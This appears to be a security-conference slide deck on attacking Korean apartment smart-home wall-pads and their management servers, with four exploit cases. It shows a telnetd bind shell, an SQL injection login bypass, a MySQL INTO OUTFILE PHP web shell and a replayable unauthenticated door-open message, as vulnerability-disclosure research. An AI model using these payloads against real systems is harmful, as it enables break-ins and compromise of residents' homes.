Pwning Centrally-Controlled Smart Home

Team. Emothrams
Sanghyun Park, Seongjoon Cho
SANGHYUN PARK

Sanghyun Park (aka. zzado)

Member @Emohtrams

Assessor @FSI (Financial Security Institute)

CTF Player @TENDOLLAR

Interested in Bug hunting and CTF

zzado@fsec.or.kr
fb.com/zzado
zzado.kr
Seongjoon Cho (aka. DelspoN)

PM @Emohtrams

Student @Hanyang Univ.

CTF Player @ReverseLab

Mentee @B.O.B (Best of the Best)

Interested in System, IoT and CTF

delsponn@gmail.com
fb.com/INJECT7
delspon.com
What is Smart home?

Smart home is a technology that remotely controls or monitors household appliances.
Central Controlled Smart Home refers to a system that monitors and controls smart home devices through a single interface.
Smart homes system is very popular in South Korea

Many newly built apartment complexes have centrally controlled smart homes

In South Korea, smart homes are designed to control not only basic smart home devices, but also public facilities
We analyzed some smart home products and can found vulnerability.

Then we confirmed that we could attack all smart home devices with vulnerability such as opening door lock, tetris with building lights...

We will share the background knowledge needed for the analysis and the successful cases of the attack.
INDEX

• Background Knowledge
  - Smart Home System structure
  - Analysis & exploit

• Exploit Case
User Interface

Mobile App

Wall-pad
User Interface: wall-pad

All smart home devices are connected to the wall-pad (wireless or wirelessly)
Network Structure

Main Server

Server by apartment complex

Public facilities
(elevator, CCTV, vehicle door...)

Wall-pads in each house
Connected to the Internet

Main Server

Server by apartment complex

Public facilities (elevator, CCTV, vehicle door...)

Wall-pads in each house

Connected to the Smart home network (Internal Network)
How does works smart home?

"Turn off the lights in Apartment XX 103-200"

Main Server

Server by apartment complex

Apt XX

Public facilities (elevator, CCTV, vehicle door...)

Wall-pads in each house
How does work smart home?

"Turn off the lights in 103-200"

Main Server

Server by apartment complex

Apt XX

Public facilities (elevator, CCTV, vehicle door...)

Wall-pads in each house
How does works smart home?

- Turn off the lights
- Public facilities (elevator, CCTV, vehicle door...)
- Wall-pads in each house

Main Server

Server by apartment complex

Apt XX

"Turn off the lights"
Summary: Smart home structure features

- All smart home devices are controlled by the wall-pads
  - If we take control of the wall-pad, we can take control of all the smart home devices!

- Wall-pads and public facilities are located in internal network called the smart home network
  - When we connect to the smart home network, we can directly access the Wall-pads and public facilities!

- The Apartment server plays the role of PMS server and DMZ
  - We can get access to smart home networks from the internet
  - We can update the custom firmware on the Wall-pad
Define Attack surface: Main server

authentication bypass
Define Attack surface: Apt Server

Direct request without main server forwarding
Define Attack surface: Wall-pad

Direct attack of wall-pads on internal networks
How does the door-lock open?

In order to open the door-lock, we need to take control of the wall pad!
INDEX

• Background Knowledge
  - Smart Home System structure
  - Analysis & exploit

• Exploit Case
Analysis & exploit : Wall-pad

Get the firmware » Analysis & Exploit » Find device trigger
How to get wall-pad's firmware

1. Googling

If the wall-pad's manufacturer provides firmware... so easy!
How to get wall-pad's firmware

2. Network Sniffing

Check if the latest version is available at boot time

Wall-pad

Latest firmware

PMS Server

If there is no encryption communication during the update, we can intercept firmware!
How to get a firmware from wall-pad

3. Connecting UART port (with pray)

Maybe... maybe the developer has put a bootloader or shell on the UART
How to get a firmware from wall-pad

3. Connecting UART port (with pray)

You only need an putty and a USB to TTL module to try!
Most embedded devices use NAND(Flash memory) + SDRAM combinations Therefore, there is a firmware in Flash memory.
4. Flash memory dump

All requests from the computer must be requested according to protocol!
How to get a firmware from wall-pad

4. Flash memory dump

We can know about flash memory's protocol through a datasheet.
How to get a firmware from wall-pad

4. Flash memory dump

If you have raspberry pi, why don't you use Flashrom?

https://www.flashrom.org/Flashrom
How to get a firmware from wall-pad

5. Attack PMS Server

Maybe there is a firmware in the PMS server! But..
And then.. How can i get wall-pad’s shell?

1. Memory corruption
   - Stack overflow, Heap overflow OOB read/write.. Etc

2. Logical bug
   - Command Injection, hidden function, SQLi...

3. 1 day attack

4. Update to custom firmware
We got the shell!

But.. How do we open the door?

1. Direct control through device drivers

2. Control packet replay

3. Execute control function through Hooking

4. Device Control through VNC
   (Virtual Network Computing)
INDEX

• Background Knowledge
  - Smart Home System structure
  - Analysis & exploit

• **Exploit Case**
Exploit Case 1

Full Scenario

1. Get firmware by attacking the PMS server.
2. Statically reverse engineer the firmware.
3. Find vulnerabilities: Command Injection via USB port.
4. Make a bind shell.
5. Dynamically reverse engineer the firmware.
6. Find vulnerabilities: IPC MitM
7. Take full control of each devices (open the door).
Exploit Case 1

Full Scenario

1. Get firmware by attacking the PMS server.
2. Statically reverse engineer the firmware.
3. Find vulnerabilities: Command Injection via USB port.
4. Make a bind shell.
5. Dynamically reverse engineer the firmware.
6. Find vulnerabilities: IPC MitM
7. Take full control of each devices (open the door).
Getting Firmware

Network Analysis

Port Mirroring
Getting Firmware

Network Analysis

What does 10.107.10.3 mean?
Getting Firmware

Network Analysis

My Home Address: 107-1003
### Getting Firmware

#### Network Analysis

<table>
<thead>
<tr>
<th>Building</th>
<th>Floor</th>
<th>Room</th>
<th>IP</th>
<th>Interface</th>
<th>Protocol</th>
<th>Port</th>
<th>Source</th>
<th>Destination</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>10</td>
<td></td>
<td></td>
<td>10.107.10.3</td>
<td>Broadcast</td>
<td>ARP</td>
<td>74</td>
<td>41620 → 29000</td>
<td>10.107.10.3</td>
<td></td>
</tr>
<tr>
<td>89</td>
<td>4</td>
<td>5</td>
<td>10.107.10.3</td>
<td>Broadcast</td>
<td>ARP</td>
<td>66</td>
<td>29000 → 41620</td>
<td>10.107.10.3</td>
<td></td>
</tr>
<tr>
<td>90</td>
<td>4</td>
<td>5</td>
<td>10.107.10.3</td>
<td>Broadcast</td>
<td>ARP</td>
<td>66</td>
<td>29000 → 41620</td>
<td>10.107.10.3</td>
<td></td>
</tr>
<tr>
<td>91</td>
<td>4</td>
<td>5</td>
<td>10.107.10.3</td>
<td>Broadcast</td>
<td>ARP</td>
<td>66</td>
<td>29000 → 41620</td>
<td>10.107.10.3</td>
<td></td>
</tr>
<tr>
<td>92</td>
<td>4</td>
<td>5</td>
<td>10.107.10.3</td>
<td>Broadcast</td>
<td>ARP</td>
<td>66</td>
<td>29000 → 41620</td>
<td>10.107.10.3</td>
<td></td>
</tr>
<tr>
<td>93</td>
<td>4</td>
<td>5</td>
<td>10.107.10.3</td>
<td>Broadcast</td>
<td>ARP</td>
<td>66</td>
<td>29000 → 41620</td>
<td>10.107.10.3</td>
<td></td>
</tr>
<tr>
<td>94</td>
<td>4</td>
<td>5</td>
<td>10.107.10.3</td>
<td>Broadcast</td>
<td>ARP</td>
<td>66</td>
<td>29000 → 41620</td>
<td>10.107.10.3</td>
<td></td>
</tr>
<tr>
<td>95</td>
<td>4</td>
<td>5</td>
<td>10.107.10.3</td>
<td>Broadcast</td>
<td>ARP</td>
<td>66</td>
<td>29000 → 41620</td>
<td>10.107.10.3</td>
<td></td>
</tr>
</tbody>
</table>

---

10.###building.###floor.###room
# Got IP System

<table>
<thead>
<tr>
<th>Server</th>
<th>IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>Man</td>
<td>10.10.10.100</td>
</tr>
<tr>
<td>Guard</td>
<td>10.10.10.200</td>
</tr>
<tr>
<td>Meter</td>
<td>10.10.10.50</td>
</tr>
<tr>
<td>Elevator</td>
<td>10.10.10.70</td>
</tr>
<tr>
<td>Parking</td>
<td>10.10.90.100</td>
</tr>
<tr>
<td>Door</td>
<td>10.10.90.22</td>
</tr>
<tr>
<td>101동 (10.101.90)</td>
<td>1.11.21</td>
</tr>
<tr>
<td>102동 (10.102.90)</td>
<td>1.3.1.13.21.23</td>
</tr>
<tr>
<td>103동 (10.103.90)</td>
<td>1.11.12.21.22</td>
</tr>
<tr>
<td>104동 (10.104.90)</td>
<td>1.3.11.12.21.24</td>
</tr>
<tr>
<td>105동 (10.105.90)</td>
<td>1.11.12.21.22</td>
</tr>
<tr>
<td>106동 (10.106.90)</td>
<td>1.3.11.12.21.24</td>
</tr>
<tr>
<td>107동 (10.107.90)</td>
<td>1.3.11.13.21.23</td>
</tr>
<tr>
<td>108동 (10.108.90)</td>
<td>1.3.11.13.21.23</td>
</tr>
</tbody>
</table>

**PMS Server IP**

![Digging cartoon](image)
Getting Firmware

Network Analysis

FTP Account!!

Version Checking File

```
220-FileZilla Server version 0.9.41 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/

USER [redacted]
331 Password required for gateway
PASS [redacted]
230 Logged on

PWD
257 "/" is current directory.
CWD spec
250 CWD successful. "/spec" is current directory.
EPSV
229 Entering Extended Passive Mode (|||53750||)
TYPE I
200 Type set to I
SIZE specification.xml
213 23236
RETR specification.xml
150 Connection accepted
226 Transfer OK
QUIT
221 Goodbye
```
Getting Firmware

Network Analysis

Firmware

Additional Info (visitors’ log, etc...)
Exploit Case 1

Full Scenario

1. Get firmware by attacking the PMS server.

2. Statically reverse engineer the firmware.

3. Find vulnerabilities: Command Injection via USB port.

4. Make a bind shell.

5. Dynamically reverse engineer the firmware.

6. Find vulnerabilities: IPC MitM

7. Take full control of each device (open the door).
Reverse Engineering

We tried to make dynamic env. using QEMU
Setting up network : failed
Found the useful vulnerability

```cpp
v90 = (_DWORD *)QString::fromAscii_helper((QString *)pyte_cmd,
QProcess::execute((QProcess *)&v90, &v59));
v60 = v90;
do
    v61 = *v60 - 1;
```
Command Injection via USB

1. Check if the USB is connected.
2. Then, check if the specific file exists.
3. Then, run the file.

Maybe, it’s for debugging or warranty services.
Command Injection via USB

It works well!
Command Injection via USB

Bind Shell

```bash
/bin/busybox telnetd -p 9997 -l /bin/sh
```

```bash
pi@raspberrypi:~ $ nc 10.107.10.3 9997
```

```
BusyBox v1.9.0 (2015-07-22 12:54:38 KST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# whoami
whoami
root
#
```
Exploit Case 1

Full Scenario

1. Get firmware by attacking the PMS server.
2. Statically reverse engineer the firmware.
3. Find vulnerabilities: Command Injection via USB port.
4. Make a bind shell.
5. Dynamically reverse engineer the firmware.
6. Find vulnerabilities: IPC MitM
7. Take full control of each devices (open the door).
<table>
<thead>
<tr>
<th>PID</th>
<th>Uid</th>
<th>VSZ</th>
<th>Stat</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>341</td>
<td>root</td>
<td>352</td>
<td>S N</td>
<td>/usr/sbin/telnetd</td>
</tr>
<tr>
<td>344</td>
<td>root</td>
<td>616</td>
<td>S N</td>
<td>/sbin/getty 115200 console vt102</td>
</tr>
<tr>
<td>361</td>
<td>root</td>
<td>3868</td>
<td>S N</td>
<td>/mnt/hdd/qtapp/NgnServer -w</td>
</tr>
<tr>
<td>364</td>
<td>root</td>
<td>7944</td>
<td>S N</td>
<td>/mnt/hdd/qtapp/NgnServer -r</td>
</tr>
<tr>
<td>372</td>
<td>root</td>
<td>11912</td>
<td>S N</td>
<td>/mnt/hdd/qtapp/NgnAppQws -qws</td>
</tr>
<tr>
<td>375</td>
<td>root</td>
<td>16320</td>
<td>S N</td>
<td>/mnt/hdd/qtapp/NgnAppMain</td>
</tr>
<tr>
<td>377</td>
<td>root</td>
<td>9156</td>
<td>S N</td>
<td>/mnt/hdd/qtapp/NgnAppControl</td>
</tr>
<tr>
<td>379</td>
<td>root</td>
<td>9152</td>
<td>S N</td>
<td>/mnt/hdd/qtapp/NgnAppEnergy</td>
</tr>
<tr>
<td>381</td>
<td>root</td>
<td>9148</td>
<td>S N</td>
<td>/mnt/hdd/qtapp/NgnAppManage</td>
</tr>
<tr>
<td>383</td>
<td>root</td>
<td>9176</td>
<td>S N</td>
<td>/mnt/hdd/qtapp/NgnAppSecurity</td>
</tr>
<tr>
<td>385</td>
<td>root</td>
<td>9264</td>
<td>S N</td>
<td>/mnt/hdd/qtapp/NgnAppSettings</td>
</tr>
<tr>
<td>443</td>
<td>root</td>
<td>500</td>
<td>S N</td>
<td>/bin/busybox telnetd -p 9997 -l /bin</td>
</tr>
<tr>
<td>444</td>
<td>root</td>
<td>680</td>
<td>S N</td>
<td>/bin/sh</td>
</tr>
<tr>
<td>737</td>
<td>root</td>
<td></td>
<td></td>
<td>SWN [scsi_eh_3]</td>
</tr>
<tr>
<td>738</td>
<td>root</td>
<td></td>
<td></td>
<td>SWN [usb-storage]</td>
</tr>
</tbody>
</table>
## IPC Analysis

### Active Internet connections (w/o servers)

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53081</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53082</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53080</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:53083</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>(null):43213</td>
<td>(null):25000</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53077</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:53077</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:53078</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:53079</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:53078</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>410 (null):9997</td>
<td>(null):53878</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:53081</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:53079</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53083</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:64347</td>
<td>localhost:53080</td>
<td>ESTABLISHED</td>
</tr>
</tbody>
</table>
## IPC Analysis

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53081</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53082</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53083</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53083</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53079</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53079</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53077</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53077</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53078</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53079</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53078</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53080</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
</tbody>
</table>

for Server & Public Facilities
### IPC Analysis

This image shows the output of the `ss` command in a terminal, which displays active Internet connections with foreign addresses and state information. The highlighted connection is:

- **Proto**: tcp
- **Local Address**: `localhost:53081`
- **Foreign Address**: `localhost:64347`
- **State**: ESTABLISHED

This connection is labeled as ` LibreOffice Impress`. It is highlighted to indicate it is important for our reverse shell.
**IPC Analysis**

What is it?

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53077</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53078</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53079</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53082</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53083</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53083</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53083</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53083</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53083</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53083</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>localhost:53083</td>
<td>localhost:64347</td>
<td>ESTABLISHED</td>
</tr>
</tbody>
</table>

*Active Internet connections (w/o servers)*

*Office Impress*
Just try netcat
IPC by network port!

Broad Casting
Device Operation Flow

NgnMain
- Event_handler
  - NgnSipCallClient::doorOpen()
    - send message

TCP port 64347 Server Thread
- door_trigger (sub_1AD910)
  - device_trigger(arg device)
    - generate data to send to device & write serial data to critical section
- xml_parser (sub_13DC90)
  - parse xml & call trigger

NgnServer
- device_trigger (sub_1AB5FC)
  - verify_serial (sub_1AF5D0)
  - write_serial (sub_1AF77C)
    - call verify_serial & write serial data to device driver

Device Control Thread
- verify_serial data
- write_serial data
- refer

Critical Section (Serial data)

Door lock Device Driver
/dev/s3c_serial

RF signal
write

send message

Door lock open event
Device Operation Flow

GUI Event Handler

NgnMain
- Event_handler
  - NgnSipCallClient::doorOpen()
    - XML
      - Generate xml payload

NgnServer
- TCP port 64347
  - Server Thread
    - door__trigger (sub_1AD910)
      - call device_trigger(argument device)
    - device__trigger (sub_1AB5FC)
      - generate data to send to device
      - call device_trigger(argument device)
    - xml_parser (sub_13DC90)
      - parse xml & call trigger

Device Control Thread
- verify_serial (sub_1AF5D0)
- write_serial (sub_1AF77C)
  - call verify_serial & write serial data to device driver

Critical Section (Serial data)

Door lock
Device Driver
/dev/s3c_serial

RF signal
write

Door lock open event
Device Operation Flow

**IPC**

**TCP port 64347**

**Server Thread**
- `door_trigger(sub_1AD910)`
- `device_trigger(sub_1AB5FC)`

**Device Control Thread**
- `verify_serial(sub_1AF5D0)`
- `write_serial(sub_1AF77C)`

**NgnMain**
- `Event_handler`
- `NgnSipCallClient::doorOpen()`
  - send message

**NgnServer**
- `device_trigger(arg device)`
- `xml_parser(sub_13DC90)`
  - parse xml & call trigger

**Critical Section** (Serial data)

**Door lock Device Driver**
- `/dev/s3c_serial`

**RF signal**

**Write**
Device Operation Flow

Wireless Signal

NgnMain
- Event_handler
- NgnSipCallClient::doorOpen()
  - Generate xml payload

TCP port 64347
Server Thread
- door_trigger (sub_1AD910)
  - call
device_trigger (arg device)
- call
xml_parser (sub_13DC90)
  - parse xml & call trigger
  - generate data to send to device & write serial data to critical section

NgnServer
- device_trigger (sub_1AB56C)
- call
- verify_serial (sub_1AF5D0)
  - verify_serial data
  - call verify_serial & write serial data to device driver
- write_serial (sub_1AF77C)
  - call
- write serial data to device driver

Device Control Thread
- write
  - Critical Section (Serial data)
  - refer

Door lock Device Driver
/dev/s3c_serial

Door lock open event

RF signal

send message

6 4 3 7
IPC by network port!

What does it mean?

```xml
# ./busybox nc 0.0.0.0 64347
./busybox nc 0.0.0.0 64347
<!DOCTYPE NgnProtoComplex.xml>
<NgnProtoComplex version="2.0" copy="" cmd="alive" ctype="48">
  <alive args="1" arg0="connection">
    <connection value="alive"/>
  </alive>
</NgnProtoComplex>
</NgnProtoComplex>
?NgnProtoControl?<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE NgnProtoControl.xml>
<NgnProtoControl version="1.0" cmd="bcsStatus" type="get">
  <bcsStatus args="1" arg0="status">
    <status value="false"/>
  </bcsStatus>
</bcsStatus>
</NgnProtoControl>
```
IPC by network port!

NgnServer is listening at port #64347.
If it gets data, it parses the data & runs proper functions.
There is no authentication logic.

Then?
Dump Packets & Replay!

Data generated when the door is opened

```xml
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE NgnSipStackProtocol.xm1>
<NgnSipStackProtocol version="1.0" cmd="doorOpen">
  <doorOpen args="4" arg0="id" arg1="local" arg2="remote" arg3="missed">
    <id value="302"/>
    <local value="1"/>
    <remote value="9"/>
    <missed value="false"/>
  </doorOpen>
</NgnSipStackProtocol>
```
Exploit Case 2

Full Scenario

1. Get firmware by attacking the PMS server.
2. Statically reverse engineer the firmware.
3. Find vulnerabilities: got MySQL account.
4. Make a bind shell.
5. Take full control of each device by hooking
Getting Firmware

Scanning the PMS Server

$ nmap 10.1.1.21

Starting Nmap 7.60 ( https://nmap.org ) at 2018-07-24 17:18 KST
Nmap scan report for 10.1.1.21
Host is up (0.024s latency).
Not shown: 993 closed ports
PORT   STATE      SERVICE
21/tcp  open       ftp
22/tcp  open       ssh
80/tcp  open       http
1720/tcp filtered  h323q931
3030/tcp open       arepa-cas
3306/tcp open       mysql
9999/tcp open       abyss

The web server is for community of residents.
Let’s test SQL injection
SQL Injection

OUR INPUT
ID : admin' or 1=1 #
PW : any string

Wrong ID&PW

SQL injection Works!
SQL Injection

Got account of admin by SQLmap
File Upload

Web shell uploaded
Exploit Case 2

Full Scenario

1. Get firmware by attacking the PMS server.
2. Statically reverse engineer the firmware.
3. Find vulnerabilities: got MySQL account.
4. Make a bind shell.
5. Take full control of each device by hooking
Static Reverse Engineering

The size is so big.

There are php files and apk files.
Got Wallpad’s MySQL Account

PMS Server ➔ MySQL Connection ➔ Wall pad

For logging

```php
function get_recordset($sql, $db_name){
    $conn = mysql_connect($_SESSION['db_server_ip'], "root", "");
    mysql_select_db($db_name, $conn);
    $result = mysql_query($sql);
    mysql_close($conn);
    return $result;
}

function db_execute($sql, $db_name){
    $conn = mysql_connect($_SESSION['db_server_ip'], "root", "");
    mysql_select_db($db_name, $conn);
    mysql_query($sql, $conn);
    mysql_close($conn);
    //return $result;
}
```
13.2.10.1 SELECT ... INTO Syntax

The `SELECT ... INTO` form of `SELECT` enables a query result to be stored in variables or written to a file:

- `SELECT ... INTO var_list` selects column values and stores them into variables.
- `SELECT ... INTO OUTFILE` writes the selected rows to a file. Column and line terminators can be specified to produce a specific output format.
- `SELECT ... INTO DUMPFILE` writes a single row to a file without any formatting.

```sql
SELECT "<h1>Backdoor Activated!</h1>
<p>Command: /sbin/busybox telnetd -l /bin/sh -p 3030</p>
<?php system("/sbin/busybox telnetd -l /bin/sh -p 3030"); ?>"
INTO OUTFILE "/path/to/webdir/backdoor.php";
```
Pwn the Shell via MySQL

Backdoor Activated!

Command: /sbin/busybox telnetd -l /bin/sh -p 3030

```sql
SELECT '<h1>Backdoor Activated!</h1>
<p>Command: /sbin/busybox telnetd -l /bin/sh -p 3030</p>
<?php system("/sbin/busybox telnetd -l /bin/sh -p 3030"); ?>"
INTO OUTFILE "/path/to/webdir/backdoor.php";
```
Exploit Case 2

Full Scenario

1. Get firmware by attacking the PMS server.
2. Statically reverse engineer the firmware.
3. Find vulnerabilities: got MySQL account.
4. Make a bind shell.
5. Take full control of each devices by hooking
Hooking

Device Operation Flow

in APK
onDoorOpen()

in native library
setOutOfBandDoorOpen()

Door Opened

Device Driver
Hooking

Device Operation Flow

in APK
onDoorOpen()

in native library
setOutOfBandDoorOpen()

Door Opened

Device Driver
Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.

Very useful for hooking Java Application
Exploit Case 3

Full Scenario

1. Get firmware via PMS server
2. Get root shell via UART port
3. Install custom firmware via 1day vulnerability.
UART Port
Exploit Case 3

Full Scenario

1. Get firmware via PMS server
2. Get root shell via UART port
3. Install custom firmware via 1day vulnerability.
1. Upload custom firmware to the PMS server.

2. Installation on wall pad: Failed
   - APK key sign issue
   - Android version: old
   - 1day: Mater Key Vulnerability
Installing Custom Firmware

Android Master Key Vulnerability

Two files with same name in APK
Verify first one, installs and used the second one
Got root shell

```
rroot@dm1528947257786:/># id
uid=0(root) gid=0(root) groups=0(root)
rroot@dm1528947257786:/># id
uid=0(root) gid=0(root) groups=0(root)
rroot@dm1528947257786:/># 
```
Exploit Case 4

Full Scenario

1. Get firmware via PMS server.
2. Reverse engineer the firmware.
3. Get root shell
4. Install VNC
Dumping Network Packet

PMS Server FTP account
1. Windows Embedded Compact
2. Old OS
3. Ex) Used in car navigation, PDA, ...
4. For analysis, we had to install **VS2005**.
Finding Another Ways...

Wireshark - Follow TCP Stream (tcp.stream eq 66610) - dump

220 Service ready for new user.
USER
331 User name okay, need password.
PASS
230 User logged in, proceed.
CWD \
250 Requested file action okay, completed.
TYPE I
200 Command okay.
PASV
227 Entering Passive Mode (10,2,23,41,192,14).
STOR 20190120192147.jpg
125 Data connection already open; transfer starting.
226 Closing data connection.

8 client pkts, 9 server pkts, 15 turns.
Entire conversation (374 bytes) Show and save data as ASCII
Find:
Help Filter Out This Stream Print Save as... Back Close
Finding Another Ways...

Public gates
- take a visitor’s picture when bell ringing
- send the files to wallpad through FTP
Got shell & Install VNC
Attack Scenario

Must connect to internal network to exploit vulnerabilities.

1. Attacking PMS server that plays the role of DMZ : Powerful

2. Physical Access for Network Connection

...
Thanks to Team.Emohtrams
Thanks!

Contact us:
delsponn@gmail.com
zzado@fsec.or.kr